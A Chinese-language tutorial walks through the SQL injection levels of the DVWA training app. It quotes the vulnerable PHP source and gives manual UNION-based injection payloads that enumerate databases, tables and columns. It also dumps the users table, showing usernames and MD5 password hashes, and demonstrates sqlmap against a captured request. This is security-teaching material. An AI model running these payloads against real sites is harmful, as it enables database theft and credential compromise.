Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
简单来说就是,sql语句会结合用户所输入的信息去执行查询等操作,如果用户在信息当中插入了额外的查询语句等等,在执行整个语句的同时会附带的去执行用户输入的查询语句
代码分析
//if判断
//提交值不能为空
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
//获取用户输入的id号
$id = $_REQUEST[ 'id' ];
// Check database
//查询id号所对应的用户名称
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//执行连接数据库查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
//查询到结果后
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
//将信息赋值非对应变量
//名字
$first = $row["first_name"];
//姓
$last = $row["last_name"];
// Feedback for end user
//输出所查询到的数据
echo "ID: {$id}"; } //关闭先前打开的数据库连接 mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
先看看他是怎么操作的
输入一个1
回显了名称为admin
姓氏为admin
这是id为1所对应的值
我们根据代码分析和实际的回显信息
我们知道他和数据库是有一定的交互会话的,那么这意思SQL漏洞必不可少的因素,就是必须要和数据库有连接交互
那么下面我们用最简单的判断存在漏洞的sql语句去判断他是否存在漏洞
and 1=2
整个是
前面最号要用单引号闭合一下
id =1'and 1=2
尾部要闭合掉后面
1 ' and 1=2 #
当我们这样去执行的时候
他的回显是没有的和正常的回显不一样
当有异常的回显的时候,初步判断存在SQL注入漏洞
1 ' or 1=2 #
这个判断也可以
如果手工去注入的话
判断存在漏洞
下一步就是猜字段长度
1’ and 1=1 order by 1#
当我们输入order by 3的时候,就异常了,说明什么??
说明不存3只有1和2
1 'and 1=1 order by 3#
union select 1,2#
1'union select 1,2#
是OK的
他这里1和2都是可以于数据库关联的位置
我们就插进去语句就可以了
查看库名的sql语句是
show databases;
那么这里插入的是
database()
1'union select 1,database()#
这样就可以了,不需要show了
场景上的原因,所以有所不同吧
我们执行看看
在我们这个2的位置就爆出了这个数据库名称
1'union select version(),database()#
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
-1' union select 1,column_name from information_schema.columns where table_name='users'#
columns =列的意思
table=表的意思
1'union select group_concat(user_id,first_name),group_concat(user,password)from users#
都获取下来了
ID: 1'union select group_concat(user_id,first_name),group_concat(user,password)from users# First name: admin Surname: admin ID: 1'union select group_concat(user_id,first_name),group_concat(user,password)from users# First name: 1admin,2Gordon,3Hack,4Pablo,5Bob Surname: admin5f4dcc3b5aa765d61d8327deb882cf99,gordonbe99a18c428cb38d5f260853678922e03,13378d3533d75ae2c3966d7e0d4fcc69216b,pablo0d107d09f5bbe40cade3de5c71e9e9b7,smithy5f4dcc3b5aa765d61d8327deb882cf99
- 1
- 2
- 3
- 4
- 5
- 6
这个是md5值
5f4dcc3b5aa765d61d8327deb882cf99,gordonbe99a18c428cb38d5f260853678922e03,13378d3533d75ae2c3966d7e0d4fcc69216b,pablo0d107d09f5bbe40cade3de5c71e9e9b7,smithy5f4dcc3b5aa765d61d8327deb882cf99
需要md5解密
代码分析
//if判断
//提交值不能为空
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
//获取id号
$id = $_POST[ 'id' ];
//返回已转义的字符串。
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
//连接数据库查询
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
//将信息赋值非对应变量
//名字
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
//输入所得信息
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts //返回指定列的值的数目 $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; //关闭数据库连接 mysqli_close($GLOBALS["___mysqli_ston"]); ?>
这个就不需要输入了
而是他获得到了有多少id号,让你选择
那么这怎么注入了
没有回显了
很简单小问题上工具
抓取当前的数据包
可以看到数据包中还是可以看到id信息的
怎么搞呢
我们用到sqlmap工具
在这个工具目录中
创建一个1.txt
文件
任何把数据包放到里面去
任何启动工具
python sqlmap.py -l 1.txt --batch
任何就OK了
python sqlmap.py -l 1.txt --batch --dbs
这是爆库的
那么如果你想手工
也是可以的
怎么搞呢
我们来到刚刚的抓包工具
右键
把数据包发送到重发模式下
在数据包中改
改完发送就可以了
注意
是没有单引号的
代码分析
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这个代码和LOW差不多
只不过多了一个弹窗
差不多的
手工也可以
工具也可以